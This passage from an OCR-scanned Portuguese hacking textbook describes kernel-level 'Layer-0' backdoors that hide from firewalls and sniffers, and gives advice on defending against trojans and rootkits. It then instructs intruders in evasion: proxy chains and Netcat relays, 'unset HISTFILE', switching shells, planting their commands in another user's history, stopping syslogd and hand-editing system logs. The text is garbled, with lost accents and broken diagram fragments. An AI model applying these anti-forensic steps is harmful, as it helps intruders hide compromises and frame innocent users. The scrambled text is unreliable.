~ A conexo ponto-a-ponto, como por exemplo em conexes discadas via
modem, ISDN/RDSI ou xDSL com pppoe.
A partir desses pr-requisitos, possvel interagir com o backdoor/trojan
usando os seguintes expedientes:
~ Broadcasts em seqncia;
~ Pacotes ICMP em seqncia (ping, Destination Unreachable e Traceroute);
~ Pacotes enviados a qualquer porta do equipamento - aberta ou no;
~ Pacotes rejeitados pela pilha TCP/IP por serem malformados ou
encapsulados de forma equivocada (note que eles tm de ser perfeitos nas
camadas 2 e 3 para serem roteveis, o que nos deixa apenas a camada 4...). Os
pacotes so rejeitados pela pilha TCP/lP mas no pelo trojan.
Essas coisas so possveis de fazer em praticamente 100% dos casos, nas redes
modernas baseadas em Ethernet (ou PPP/SUP) e TCP/lP. Estima-se que pelo menos um aplicativo bem conhecido se utilize dessas tcnicas: o to falado Magic
Lantern/Carnivore, do governo dos Estados Unidos, usado para monitorar o trfego na Internet procura de terroristas, pedftlos e hackers de planto.

Layer-o: como funciona


Todas as informaes aqui reproduzidas foram obtidas nos foruns abertos do
trojanforge.netAmaioriadelasfoipostada por M3du54,um membro do grupo trojanner
britnico DaVinci.Esse grupo foi o responsvel, em 1999, pelo desenvolvimento do
trojan LSPThe Mini Baug e diversos outros baseados em VxDs,portanto toda a teoria
aqui descrita j foi colocada em prtica pelo menos em provas de conceito.
Voltemos aos kernel rootkits. Com eles, podemos adicionar drivers, funcionalidade e problemas em modo kernel aos sistemas operacionais. Podemos, inclusive, brincar com a pilha TCP/lP e adicionar camadas de baixo nvel entre elas.
Portanto, simples LKMs nos Unix e patches no Windows podem adicionar ao
sistema funcionalidades Layer-O.
Tomando o Windows 9x como exemplo, possvel criar um VxD (releia o
captulo sobre plataformas Windows) que implemente essa camada. Um ftrewall
local (como o ZoneAlarm, o BlackIce ou o Tiny Firewall, por exemplo) trabalha
no lado "de dentro" da mquina, depois que os dados j passaram por toda a
pilha de rede. Se houver algum pacote ou comunicao maliciosa ocorrendo, o
ftrewall nunca saber. A camada extra adicionada extrair os dados pertinentes conexo do hacker e os passar - por comunicao interprocessos e
pulando toda a estrutura TCP/lP - para o backdoor ou trojan.

13291

]Ataque,

defesa e contra-ataque:

Manuteno

I Universidade H4CK3R I

Uma simples DLL que exporte uma SPI (Service


Provi der Interface) tanto
para as camadas superiores
(TCP ou mesmo de aplicao) quanto para as de mais
u --u -- - -- - - -- - -- -,
Extra
baixo nvel (a camada
IP
Ethernet ou PPp,por exem---:c Retira
-. -~AC~DDD_R
pIo) pode intermediar a cocomandos --e
Ethernet
devolve pacote TCP "Limpo"
municao e "pular" o stack
TCP/IP. Essa DLL poderia

usar parasiticamente portas


Rede
de comunicao - ou seja,
aproveit-Ias estando elas em uso ou no, e no conectar sockets caso no estejam
- e tambm gerar portas-fantasmas que no so mostradas em ferramentas como
o Netstat ou o Ethereal. Ou, pelo contrrio: essas portas-fantasmas poderiam estar
mostrando trfego falso, mas "benigno", confundindo o administrador de que est
tudo bem. Ou mais malvado ainda: apresentar para os aplicativos trfego de rede
como sendo local (inter-processos) e desviar trfego local originado por aplicativos
para a rede e no para os processos a que se destinam. No caminho contrrio, a
DLLpoderia injetar a comunicao de resposta ao hacker no fluxo de dados de um
aplicativo existente, reconhecido e autorizado - seu browser padro, por exemplo, ou aquele programinha de mensagens instantneas.
Mas h uma maneira mais
ultrajante ainda - e mais
eficiente. At agora no
havamos chegado a uma
implementao Layer-Over,muuuum,

dadeira.

Mas transcenden-

.L~~~~~~~~-jdo o TCPIIP,pode-se "plantar" a DLLem uma camada


o mais baixo possvel na
pilha de rede - abaixo at
~
Rede ,
(ou imediatamente antes,
dependendo do caso) do
Ethernet, do PPP/SLIP ou mesmo de coisas mais especficas como Frame Relay
ou X.25. Uma conexo dessas nunca ser mostrada em qualquer sniffer ou
pelo netstat, nunca ser detectada pelo firewall local baseado em software
(ZoneAlarm, BlackIce etc...) e provavelmente passar pelo firewall/gateway
externo pois usar conexes vlidas como "laranjas". Qualquer auditoria no
registro de pacotes (voc costuma ler regularmente os logs do seu firewall,
no mesmo?) mostrar apenas pacotes originados pelos aplicativos comuns
- seu browser, cliente de e-mail, MSN Messenger...

330 I
Ataque, defesa e contra-ataque:

Manuteno

Universidade 3 ano

Para a pilha TCPIIP, o backdoor/


trojan est do lado de fora do computador invadido, portanto a pilha no
o consegue ver e, portanto, os software
Inrface / Aplicativo
TCP
firewalls no conseguem detectar. Por
IP
outro lado, ainda um programa roEthernet
,
dando no computador, possivelmente
;~, BACKDOOR:,
Extra
~-------------em kemel mode e, com acesso (por coDriver da Placa
municao interprocessos) a qualquer
outro programa da mquina. Isso faz
com que literalmente todas as portas do seu sistema estejam ao servio do backdoor/
trojan, e qualquer registro do firewall vai mostrar conexes legtimas de rede. Mais
ainda - possvel interceptar qualquer chamada a qualquer API (do kemel ou de
programas) e acessos a disco e illtr-Ios, remape-Ios ou retomar uma mentira.
possvel inclusive enganar IDSscom a tcnica. Nojento e eficaz!
Pesquise sobre o modelo de referncia OSI, no MSDN (msdn.microsoft.com)
e no TechNet (www.microsoft.com/technet)
para saber mais sobre VxDs e
sobre a estrutura LSP/NPI/TPI/SPI da pilha de rede Microsoft. Obviamente,
para entender o que est nesses recursos so necessrios conhecimentos moderados de programao de baixo nvel - nada de Delphi ou Visual Basic - na
plataforma Windows, especialmente se tiver acesso a uma assinatura do DLL
Developer Kit (DDK) ou do Software Development Kit (SDK). Para qualquer
outra plataforma (Unix, VAX/VMS,Novell, AS/400, Macintosh, IBM S/390...), o
raciocnio e as tcnicas so exatamente as mesmas.

Defesa e Contra-ataque
Defender-se das ameaas mostradas neste captulo no muito fcil. H trojans
que, mesmo sendo facilmente detectveis, so extremamente difceis ou mesmo
impossveis de serem removidos. Na experincia dos autores, houve pelo menos
duas situaes (um Wmdows 98 SEe um Wmdows 2000) em que nem a recuperao da imagem original de instalao, distribuda nos CDs que vieram junto com o
computador, removeu o trojan. Houve a necessidade de refazer as parties (apagamento e criao) e formatar o disco rgido, alm de usar uma ferramenta de
apagamento total para remover quaisquer traos do software malicioso.
Em alguns casos, possvel monitorar as conexes e, uma vez detectada a
presena do invasor, rastre-Ias at se chegar ao culpado. No hesite em contar
com a polcia e com um bom time de advogados caso alguma ao do hacker
malicioso possa ser enquadrada como crime.

Backdoors, Vrus e CavaLos de Tria


Apesar de serem todos softwares com aplicaes diferentes, a profilaxia e o
remdio para eles , basicamente, a mesma, uma vez que as formas de contgio
e os mtodos para deteco e eliminao so parecidos.

IAtaque,

defesa e contra-ataque:

1331 I

Manute~

I Universidade

H4CK3R I

Antes de mais nada (ou, como diria um companheiro de software livre, em


"zerzimo" lugar), eduque-se e eduque seus funcionrios ou familiares quanto
a prticas seguras de utilizao de recursos de informtica e navegao na
Internet. Isso inclui os famosos bordes que as mames nos disseram a vida
toda (e dizem at morrer): no aceite balinha de estranhos e no aceite balinhas estranhas de pessoas conhecidas. Cuidado com as drogas (Le. Coisas que
voc sabe que so perigosas) e muito cuidado quando andar em locais ermos,
pouco iluminados ou suspeitos. So conselhos sbios tambm para a Internet e
para as redes corporativas. , mame tinha razo...
bvio que o usurio comum no tem como saber se algum programa
nocivo ou foi adulterado, ou se aquele site contm cdigo malicioso, ou se o
documento interno da empresa (e, portanto, oficial e autorizado) em formato
.DOC contm algum vrus de macro... Mas um pouco de cuidado e alguma
parania pode livrar macaco velho de vrias cumbucas.
Quanto aos cuidados puramente tecnolgicos que podem ser implementados,
em primeiro lugar tenha sempre antivrus e firewalls locais (baseados em
software) atualizados. Sim, eu seu, l atrs eu disse que, caso o atacante (ou o
vrus) fosse realmente bom, essas ferramentas no iriam servir para nada. Entretanto, seremos "visitados" muito mais por moleques tentando brincar de
"r4qu3r" do que por bandidos digitais com algum profissionalismo.
Portanto, firewalls locais como o Zone Alarm, BlackIce ou o Tiny Firewall ajudam
muito a manter a legio de kiddies longe de seus computadores. Ao mesmo tempo,
um bom firewall de rack (como o Cisco PIX) ou implementado com um Unix
(velhos 386 com Linux ou OpenBSD do excelentes firewalls), com regras de
filtragem e, de preferncia, com conexes via proxy, tambm ajuda a barrar os
lammers. Sugerimos implementar, seja em casa ou em uma rede corporativa, ambos os tipos de firewall: local (por software) e no ponto de conexo (por hardware).
Da mesma forma o, antivrus devem ser usados para barrar os vrus conhecidos. Mesmo que os antivrus no detenham uma pequena parte dos virus conhecidos e praticamente todos os desconhecidos, seu uso obrigatrio. No
porque est gripado e no h remdio para isso que voc ir deixar de tomar
um analgsico para a dor de cabea.
Um outro ponto importante a ser observado : conhea o software que est
instalado em seu computador. comum, em casa, que baixemos e instalemos
qualquer bobagem bacana que encontremos na Internet ou que venha em revistas com CDs. Tal prtica deve ser evitada em computadores domsticos e
terminantemente
proibida em computadores corporativos. Conhecendo os
softwares instalados no computador, ficar fcil (em alguns casos - noutros
no...) de notar alguma coisa estranha rodando na mquina.
Um terceiro item obrigatrio de segurana a adoo de polticas de usurios e administrao. As estaes de trabalho em empresas devem empregar
softwares e sistemas operacionais que permitam um controle total por parte

13321
Ataque, defesa e contra-ataque:

Manuteno

Universidade 30 ano

dos administradores, e que restrinjam ao mximo o que o usurio comum pode


fazer. Isso inclui bloquear a instalao de programas e acesso a reas no autorizadas do computador (como o diretrio C\WINDOWS ou o Ibin em mquinas Unix). H empresas que usam Macintoshes com Mac OS X, ou Windows
NT/2k/XP, ou mesmo algum Unix para PCs como o FreeBSD ou o Linux. A
escolha corretssima, pois esses sistemas permitem montar polticas de direitos sobre o computador e impedir que os usurios (ou algum vrus ou cavalo
de tria) instalem software no autorizado na mquina. Mas de nada adianta
colocar um Windows XP Professional como estao de trabalho e no configur10 para segurana, deixando-o com as opes padro. Deve-se fazer a sintonia
fma e retirar do usurio comum todas as permisses de acesso que possivelmente sejam danosas para a estao e para a rede.
Mesmo em casa, os usurios domsticos do Windows NT/2k/XP e Mac OS
devem criar contas de usurio sem muitas permisses e efetivamente usar
essas contas no dia-a-dia!!! Deixe a conta do administrador apenas para administrao e instalao de programas. O mesmo vale para os j no to poucos usurios domsticos de Linux. O Linux (e qualquer Unix) j vem "de fbrica" com esse esquema de usurios e permisses. Mas (sempre tem um mas) os
usurios sempre "do um jeito" de subverter esse esquema e comprometer a
segurana. Coisas como subverter o uso do o sudo ou operar com o usurio
root (o maior sacrilgio de todos) so muito comuns.
Se voc foi infectado, no use qualquer ferramentas de desinfeco que no
seja de produtores idneos. Baixar uma ferramenta de um local suspeito que
promete retirar o Sub7 do seu computador loucura. Ele pode tanto fazer o
que promete, como remover o Sub7 e instalar outro backdoor, ou ainda
"patchear" o Sub7 para que seu antivrus no o detecte - mas ele continua l.
Quanto aos rootldts, uma grande maneira de evit-los nunca deixar um
usurio com poderes suficientes para chegar s partes crticas do sistema. Um
rootkit precisa ser instalado. Mesmo que a instalao seja automtica, ele sempre rodar no contexto do usurio. Deixar os usurios com nveis mnimos de
acesso pode dificultar a instalao e ao dos rootkits. Alm disso, a conta
Administrador ou root deve ser observada e guardada a sete chaves. Senhas
difceis de quebrar ou mesmo de adivinhar so obrigatrias. Aplicativos que
no rodem como root/ Admin (nunca!) e portanto isolando a conta principal
de qualquer buffer overflow tambm so importantssimos.
Mesmo sistemas bem protegidos, atualizados e configurados possuem falhas. Portanto, possvel que um dia algum hacker consiga acesso privilegiado a seu sistema.
Para detectar desvios de configurao e instalao de rootkits, instale IDSse programas de inventrio de integridade de arquivos - Tripwire (www.tripwire.com) e
AIDE(wwwcs.tut.fi/-rammer/aide.html) so os mais conhecidos. Verifique as assinaturas de todos os programas instalados e a integridade dos arquivos de configurao. Todos os desenvolvedores de software modernos possuem bancos de dados
com as assinaturas MD5 de seus executveis crticos.

13331
Ataque, defesa e contra-ataque:

Manuteno

I Universidade

H4CK3R I

Quanto a rootkits baseados em kernel, em primeiro lugar,no deixe que cheguem


ao seu ncleo! Para comear, se o seu sistema pennitir (e se voc no usar nenhum
mdulo importante), desabilite a opo de carregar LKMs.Vaipoupar muitas dores
de cabea. Se for o caso e, se possvel, recompile seu kernel ou pea para seu fornecedor faz-Io.Um kernel imune a LKMscertamente estar imune a rootkits LKM.
No caso dos Windows (mesmo da famliaWinNT), que no possuem um esquema formal de LKMs, a nica maneira de evitar kernel rootkits impedir que os
arquivos sensveis possam ser alterados por qualquer usurio, alm de cuidar
para manter a senha do Administrador em segurana. Um truque muito usado
deixar a conta chamada Administrador com uma senha difcil mas sem direito
algum sobre o sistema, e assim criar um despiste para invasores. Cria-se, ento,
outra conta, com outro nome e uma senha igualmente difcil, e este usurio ser
o administrador de fato. E desabilite o suporte a Lan Manager.
Note que possvel simular a implementao de LKMsno Wmdows por meio de
VxDs (releia o captulo sobre Plataformas Wmdows) e, portanto, o acesso pasta
C\WINDOWSou C\WINNT deve ser bloqueado a todo custo para usurios comuns.
Uma maneira de verificar os discos rgidos procura de rootkits (sejam baseados em kernel ou no) retir-Ios e intal-Ios em uma mquina s, sem direito de
execuo de programas. Os HDs sero considerados como drives de dados no
sistema de testes, e como no so o kernel e os programas infectados que esto
rodando, e sim os da mquina confivel, todos os arquivos e alteraes dos rootkits
ficaro aparentes e passveis de verificao. Para verificar se um rootkit est
farejando a rede, rode, voc mesmo, um sniffer como o Ethereal. Verifique os
modos de operao da placa de rede. Se, mesmo com o sniffer, a interface no
aparecer em modo promscuo, um rootkit seguramente o est camuflando.
Em ltimo caso, no aproveite nada de um sistema comprometido. Faa
backup dos dados (e apenas dos dados, no da configurao!!!) e reformate
completamente o sistema, reinstalando-o do zero. No esquea de configur-Io
e atualiz-Io completamente antes de o colocar em produo, caso contrrio o
invasor pode entrar novamente pelo mesmo buraco de antes. Guarde uma cpia do HD comprometido para futura anlise e investigao do ataque. Se possvel, guarde o HD original e coloque um novo no lugar. possvel que o invasor tenha deslizado em apenas um detalhe nfimo, mas esse detalhe, se descoberto, pode levar sua localizao e, se a lei permitir, a sua priso.
Uma ltima dica: Echolot (echolot.sourceforge.net).

Comunicao sem conexes


Enveredamos em terreno pantanoso por aqui. Todas as recomendaes acima so importantes e obrigatrias, mas no freiam, de forma alguma, especialistas de verdade que queiram penetrar em seus sistemas.
No h nenhum programa comercial que desempenhe ou faciliteas fimes abaixo.
A maioria, entretanto, possvel de fazer apenas com as prprias configuraes de
sistema operadonal, sem ferramentas externas. Observe que so medidas extremas e

13341
Ataque, defesae contra-ataque: Manuteno[

Universidade 3 ano

que podem ser vistas como parania ou mesmo bobagem por administradores experientes. MasPOdem ser levadasa cabo caso se precise de segurana mxima.
Em primeiro lugar, deve-se aplicar toda a cartilha e fazer a configurao de
segurana normal que todo sistema deve ter. Isso pr-requisito.
Depois, deve-se restringir o acesso pilha TCP/lP (em cada mquina da rede!).
Apenas programas autorizados podem ter acesso pilha, e mesmo os autorizados devem ser verificados quanto sua assinatura MD5. Qualquer desvio deve
ser bloqueado e informado ao administrador.
No caso de servidores, cada um dos programas deve ser executado com um
usurio diferente, e cada usurio desses deve ter acesso a um conjunto diferente de
diretrios, arquivos, bibliotecas, num ambiente que, em Unix, chama-se chrooted.
Mesmo o diretrio temporrio (jtmp ou C\WINDOWS\TEMP)deve ser dividido
por processo (jtmp/apache, /tmp/sendmail, /tmp/popd, /tmp/tripwire, etc.) e com
.

permisses de escrita somente para o usurio correspondente.

Dessa forma, mes-

mo que uma falha seja descoberta e explorada em um dos aplicativos, ele estar
confmado em seu ambiente prprio e no dar acesso a outras partes do sistema.
Depois, bloqueia-se o acesso a todas as bibliotecas e cria-se imagens separadas
delas para aplicativo - e restritas! Por exemplo, em uma mquina WinNT pode-se
bloquear completamente todas as DLLs do sistema e depois criar imagens com
RUNASpara cada usurio (que, como vimos, representa um nico programa).
Por ltimo, uma idia montar todas as LANsinternas como VPNs criptografadas
por PGP (ou outro formato qualquer). Alm de bloquear trfego vindo de fora
(porque no bate com a criptografia e as chaves usadas), possvel conceber
polticas de acesso fortemente protegidas. Apenas usurios e mquinas com a
chave correta podem acessar determinados recursos - dificlimocontornar tal
esquema. Apenas os servidores externos (como seu servidorWeb) ficaro fora da
VPN e aceitaro conexes TCP/lP no criptografadas.
E, novamente, relembramos: a famlia Win9x no foi desenvolvida para ser
cliente de rede. A pilha TCP/lP e toda a funcionalidade 5MB foi enxertada depois. Portanto, nunca espere confiabilidade e segurana delas. Em uma rede
corporativa segura, nem as estaes podem ser Windows 95/98/Me. Evite-as.
Se for realmente preciso usar Windows como estao de trabalho ou servidor,
use sempre Windows 2000 ou superior.

Estamos quase l...


J vimos como observar, traar nosso plano, atacar e manter o ataque. Faltanos, agora, esconder nossos rastros. O proximo captulo tratar disso. Mas antes de continuar, uma pergunta: voc est realmente fazendo as experincias
ou simplesmente lendo o livro como a um romance? Exortamo-Io firmemente a
fazer todas as experincias, desde os primeiros captulos. Caso no as tenha
feito, volte ao princpio e comece de novo.
':4.lio j sabemos

de cor. S nos resta aprender...",

Beto Guedes

e Ronaldo Bastos.

1335 I

IAtaque,

defesa e contra-ataque:

Manuteno

Ataque, defesa e
contra-ataque:

Evaso

Em dia de vitria, ningum

fica cansado"

Provrbio rabe

I Universidade

H4CK3R I

No importa se o objetivo do ataque seja causar rebulio ou obter secretamente


algum proveito: qualquer atacante que se preze no deseja ser rastreado e
muito menos apanhado. Alguns detalhes devem ser observados para que, depois de uma invaso do tipo "obra de arte", a determinao do culpado seja
impossvel ou muito difcil.
No captulo anterior, quando falamos em rootkits, vimos que eles podem
esconder um sem-nmero de detalhes e, assim, mascarar a presena e a ao do
hacker no computador atacado. Entretanto, seguro, morreu de velho e, com ou
sem rootkits, altamente desejvel que o invasor tome providncias para apagar todos os rastros e vestgios de sua passagem pelo sistema. Em vrias plataformas h ferramentas que o fazem automaticamente, mas entender os mecanismos de registro muito importante para conferir a eficcia dessas mesmas
ferramentas ou para fazer tudo "na mo", na falta delas.
Outro detalhe para o qual o invasor deve estar atento a camuflagem dos
canais de comuicao entre ele e a mquina invadida. Como vimos no captulo
anterior, h maneiras de tornar invisvel o fluxo de dados de um backdoor ou
cavalo de tria, simplesmente escondendo os bytes sendo transmitidos/recebidos em conexes vlidas. Neste captulo, veremos mais algumas maneiras de
fazer essas conexes invisveis.
Antes de falarmos em evaso, lembre-se de que o disfarce anterior ao ataque
importante. Se voc pretende invadir algum, lembre-se de usar algum tipo
de spoofmg antes, como, por exemplo, cadeias de proxies pblicos ou mquinas-Iaranja rodando redirecionadores Netcat. Usar seu prprio IP para mirar
em algum burrice.

o bsico: apagando os logs


Mesmo kiddies muito ruins sabem que devem apagar seus rastros nos registros do sistema. A primeira coisa que se tem de saber , ento, onde esto tais
registros. Uma vez com acesso a eles, deve-se ter sempre em mente que no se
pode apag-Ios todos, caso contrrio sero levantadas muitas suspeitas sobre
o sistema. Apague apenas o que houver sido causado pelas suas andanas em
terreno alheio. E cuidado: alguns sistemas possuem IDSs, outros verificadores
de integridade de arquivos, e alguns, ainda, possuem logs em locais no-padro,
deixando logs falsos no local padro para enganar invasores de meia-tigela.
Lembre-se: verifique linha por linha, um arquivo por vez, todos os arquivos de
logo Procure por cpias deles em locais no bvios do sistema e, se notar que
est em um honeypotl, fuja!
1. Como vimos em captulos anteriores, honeypots so sistemas intencionalmente deixados como "boi
de piranha" para que os wannabe hackers ataquem. Normalmente, so sistemas fracamente protegidos,
com falhas intencionais e sistemas silenciosos de deteco de intrusos. Muitos IDSs inclusive desviam
silenciosamente o intruso para os honeypots sem que eles percebam. Alm da marcao cerrada, quando a
presa aparentemente fcil, o invasor torna-se descuidado.

13381
Ataque, defesae contra-ataque: Evaso I

Universidade

3a ano

Registro de eventos Unix


Encaremos os fatos: mesmo tendo padres, protocolos e normas em comum, os
Unices so diferentes entre si. Cada sabor possui um tipo distinto de sistema de
arquivos, hierarquia de diretrios, codificao de caracteres, sintaxe do shell nativo, conjunto de comandos padro... H inclusive comandos que, mesmo possuindo o mesmo nome em todas as variedades, fabricantes e verses Unix, possuem
sintaxe diferente - ps, route e, mesmo, o 1s so dois exemplos clssicos. O sistema de registro de eventos no seria, portanto, imune a essas diferenas.
impossvel listar em um livro como este todos os tipos e particularidades
de logs nas diversas verses dos sabores. Utilizaremos, ento, o sistema Linux
como modelo para exemplificar uma sesso de "cirurgia" nos logs. Se algum
script kiddie estiver lendo este captulo, provavelmente pulou este pargrafo
e vai tomar a descrio abaixo como receita universal para apagamento de
seus rastros. Nossa inteno, entretanto, outra: mostrar o que voc precisa
procurar, no onde, e nem como...
A primeira coisa que deve ser verificada o histrico de comandos do usurio. No exatamente um log; antes disso, uma lista de comandos j emitidos
que fica disposio do usurio para que no precisem ser digitados novamente. Isso evita trabalho repetitivo para o operador - e, como efeito colateral,
d ao administrador uma forma de saber o que o usurio anda fazendo...
Nem todos os shells implementam um histrico de comandos, e cada um
guarda o histrico em um arquivo e local diferente. Apenas a ttulo de exemplo,
um sistema Linux normalmente usa a verso GNU do Boume Shell, o Bash. Esse
interpretador de comandos guarda o histrico de tudo o que foi digitado (inclusive sem sucesso) no arquivo /home/usurio/.bash_history.
um arquivo
de texto puro, portanto, bastaria edit-Io para esconder seus rastros. Uma maneira mais efetiva, entretanto, seria simplesmente desativar a varivel de sistema HISTFILE,que indica onde os comandos devem ser armazenados. Para tanto, basta emitir unset HISTFILE.Pronto! A partir da, nada mais ser registrado
(nem o prprio unset!) Esse deveria ser o primeiro comando a ser feito, mas a
maioria dos "invasores" esquece... ou no sabe...
Em Unices que no usem Bash, uma outra maneira , simplesmente... trocar
de shell! possvel (e muito provvel) que o shell padro possua histrico, e os
demais no. Portanto, se voc conseguiu uma conta e o shell padro o Boume
Shell (prompt $) simplesmente mude-o para o C Shell digitando csh. Se o shell
padro justamente o C Shell (prompt %), mude para o Boume Shell, digitando
sh.A razo para usar sh e csh que qualquer um dos outros (bash, zsh, ksh) tm
rotinas de histrico de comandos completamente implementadas.
Para ajudar a desviar suspeitas, um atacante mais ousado poderia desviar os
comandos (ou copi-Ios) do seu prprio histrico para o de outro usurio.
Mesmo que o sistema esteja sob suspeita, durante um tempo razovel os santos
pagaro pelos pecadores.

13391

] Ataque,

defesa e contra-ataque:

Evaso

I Universidade

H4CK3R I

Depois de enganar o histrico do shell, temos de apagar os rastros nos logs


do sistema. Na maioria dos Unix, o daemon responsvel pelo registro dos logs
de sistema o syslogd. Em qualquer Unix invadido, portanto, interessante
pesquisar nos arquivos de configurao do daemon (que, no Linux, fica em
/etc/syslog.conf
- mas isso varia em outros Unices) e verificar quais os nomes dos arquivos de registro de eventos e onde esto gravados.
Como usurio comum (no root) em um Conectiva Linux 9, o arquivo /etc/
syslog.conf mostra:
$ cat /etc/syslog.conf
# Log alI kernel messages to the console.
# Logging much eIse clutters up the screen.
#kern.*

/dev/console

# Log anything (except mail) of leveI info or higher.


# Don't log private authentication messages!
*.info;mail.none;authpriv.none
/var/log/messages
# The authpriv file has restricted access.
authpriv.*

/var/log/secure

# Log alI themail


mail.*

/var/log/maillog

messages in one place.

# Everybody gets emergency messages, plus log them on another


# machine.
*
*.emerg
# Savemail and news errors of leveI err and higher in a
# special file.
uucp,news.crit
/var/log/spooler
# Save boot messages also to boot.log
locaI7.*

/var/log/boot.log

Obviamente, cada um dos arquivos indicados no syslogd possui uma funo


diferente. Todas as linhas marcadas com um # so consideradas como comentrios e ignoradas. O campo da esquerda define uma srie de regras de registro
a serem aplicadas s mensagens. Os campos da direita indicam em quais arquivos os registros tm de ser gravados. Observe que, no syslog.conf acima, o
ftltro kem.. est direcionado para /dev/conso1e - ou seja, as mensagens do
kemel seriam ecoadas no terminal, caso a linha estivesse descomentada. Como
se pode ver, dispositivos tambm podem ser usados para logging, alm dos
arquivos comuns.

1340 I
Ataque, defesae contra-ataque: EvasoI

Universidade

3a ano

Pelo que podemos observar do syslog.conf, temos, em /var/log,


~/var/log/messages: registra todas as mensagens de nvel informativo do sistema.
~/var/log/secure:
registra acesso a arquivos e processos restritos.
~/var/log/maillog: registra mensagens de e-mail enviadas e recebidas.
~/var/log/spooler: registra erros em trocas de Mail, UUCP e News.
~/var/logiboot.1og: registra eventos e erros durante o boot.
Novamente lembrando: essas localizaes so para o Conectiva Linux 9111
Procure no prprio Unix invadido quais as localizaes reais dos arquivos.
possvel que o nmero e a funo deles seja diferente: pode haver um arquivo
apenas com todos os logs, ou podem haver, por exemplo, um arquivo separado
para UUCP e outro para e-mail. Script kiddies normalmente usam ferramentas
e scripts de apagamento de logs de um sistema em outro e, em vez de se esconderem, acabam criando mais mensagens de erro nos logs e alertanto o administrador mais cedo do que o esperado. Olhe antes de agir e faa a coisa certa.
Uma vez descobertos quais os arquivos responsveis pelo registro de eventos do Unix sob ataque, podemos passar edio deles. Apesar de existirem
ferramentas que aplicam criptografia forte nos arquivos de log, a grande maioria dos sistemas ainda usam o bom e velho texto puro para grav-los. O que
significa que o hacker pode usa seu editor de textos preferido (emacs, vi, joe,
pico...) para edit-Io manualmente. Os autores recomendam sempre editar
manualmente os arquivos, evitando que sujeira, erros ou imprecises nos scripts
que o fazem automaticamente possam colocar tudo a perder.
Ainda no CL9, vamos ao diretrio /var!log e vejamos o que h por l:
$ ls
XFree86.
XFree86.

o.10g
boot.log.4 dmesg
htmlaccess.log
o.10g.old cron
iptraf
kdm .10g

apache

cron. 1

boot. 10g
boot .10g.1

cron. 2
cron. 3

boot.log.2

cron. 4

lastlog
mai110g

boot.log.3

cups

maillog.l

mai11og. 2

messages. 4

mai 110g. 3

mysql.log
mysql.log.l.gz

mai11og. 4
messages
messages.l

nagios
netconf.10g

messages. 2 netconf. 10g.1


messages. 3 netconf .10g. 2

netconf .10g. 3
samba

secure. 4

vtund

spooler

wtmp

scrollkeeper.log
secure

spooler.l wtmp. 1
spooler. 2

secure. 1
secure.2

spoo1er. 3

secure. 3

spoo1er. 4
uucp

Observe: alm dos arquivos do syslogd, o diretrio /var!log contm os registros


de outros programas e servidores que rodam na mquina, como Apache, Samba,
CUPSe o XFree86. Convm verificar os logs de todos eles, uma vez que alguma
ao sua (intencional ou no) pode ter deixado marcas em qualquer deles.
Ocupemos-nos primeiro dos cinco arquivos do syslogd. Ainda como usurio
comum, abra (com seu editor de textos favorito) o arquivo boot.1og. Nele esto os servios sendo executados, os mdulos do kemel carregados e os servidores que so iniciados e finalizados pelo inetd. Note que h outros, chamados
boot.1og.1, boot.1og.2, etc, que guardam logs antigos. Agora tente escrever
qualquer coisa e salvar o arquivo (sempre como usurio comum). Permisso
negada! Os outros arquivos - maillog, messages, secure e spooler - sequer
do permisso de leitura a usurios comuns.

1341 I
I

Ataque, defesa e contra-ataque:

Evaso

I Universidade

H4CK3R

Logue-se como root (ou, em um sistema invadido, consiga acesso a root usando buffer
overflow ou outra tcnica qualquer) e abra os arquivos. Verifique as sintaxes deles.
Maillog registra a atividade de SMIP,IMAPe POP locais (sendmail, postfix, qmail, imapd,
pop3d...). Messages muito importante: registra as mensagens entre processos e entre eles e o keme1. Secure, por outro lado, registra mensagens de acesso privilegiado a
arquivos e processos. Por sua vez, spooler guarda as mensagens oriundas de programas que usam os servios de spool (mail, uucp, news, etc). Mesmo que voc no tenha
mexido com o servidor de SMfP ou POp, prudente verificar tambm os arquivos /
var!log/maillog e /var!log/spool e ter certeza de que, inadvertidamente, voc no disparou algum processo que tenha alterado o logo O mesmo vale para qualquer processo ou arquivo, portanto um cuidado geral no log primordial.
Voltando ao /etc/syslogd.conf,
a linha
# Everybody gets emergency messages, plus log them on another
# machine.

*.emerg

indica que quaisquer mensagens de emergncia do sistema sero ecoadas a todos


os logs e a todos os usurios. Cuidado com isso: se o sistema detectar coisas estranhas acontecendo, possvel que todos os usurios sejam avisados - portanto, uma
boa idia parar o servio syslogd ou reinici-locom essa linha comentada. Consulte
as pginas de manual do syslogd e do syslog.conf no Unix afetado para detalhes.
Mas, alm do que monitorado pelo syslogd, h outros arquivos de real importncia. Um deles o sistema utmp/wtmp/lastlog. O utmp um subsistema que
registra quem est conectado no presente momento. Quando o usurio (ou o
administrador) emite um comando who, o comando vai ler em /var/run/utmp
as informaes sobre todas as contas em uso, em quais terminais elas esto e, se
for uma conexo remota, o W de origem da conexo. Por exemplo, no momento
em que estas linhas esto sendo escritas, o comando who informa:
henrique pts/O
Feb 16 14:42
henrique pts/1
Feb 16 16:07
Entretanto, eu posso dizer ao comando who em qual arquivo olhar. Se eu
emitir o comando who /var/run/utmp, o resultado ser o mesmo: who sem
argumentos sempre l o arquivo utmp. Mas e se eu pedir para who consultar
em /var/log/wtmp?
9 05: 14 (192.168.1.229)
Jan
henrique
pts/3
Jan
9 05: 16 (192.168.1.229)
henrique
pts/3
Fev 2 11: 50
james
pts/O
Fev 5 22:16
root
tty1
Fev 5 22:17
henrique
tty2
Fev 5 22:23
henrique
tty3
Fev 5 22:40
root
tty4
Fev
5 22:49
root
pts/O
Fev 5 22:52
root
pts/1

13421
Ataque, defesa e contra-ataque:

Evaso

Universidade

3a ano

o arquivo muito grande, ento mostramos apenas algumas linhas. Observe:


No dia nove de janeiro, o usurio Henrique fez duas conexes a esta mquina
(que, a ttulo de curiosidade, era a 192.168.1.11) a partir de outra, a 192.168.1.229.
No dia dois de fevereiro, o usurio James logou-se localmente na mquina, e no
dia cinco o usurio Henrique logou-se como root vrias vezes.
O comando last faz um cruzamento de informaes entre os arquivos /var/
log/lastlog e /var/log/wtmp e mostra na tela as informaes detalhadas dos
ltimos dias sobre os tempos de login e logout de cada usurio e mesmo de
reboot da mquina. O comando lastlog, por outro lado, mostra quando cada
um dos usurios do sistema logou-se pela ltima vez. Um usurio desativado
que tenha dado login ontem um evento alarmante.
Para o administrador de sistemas, usar os comandos last, lastlog e who para
verificar o /var/log/wtmp uma medida tanto preventiva como corretiva. Portanto, imperioso para o cracker que quer apagar seus vestgios exclui todas
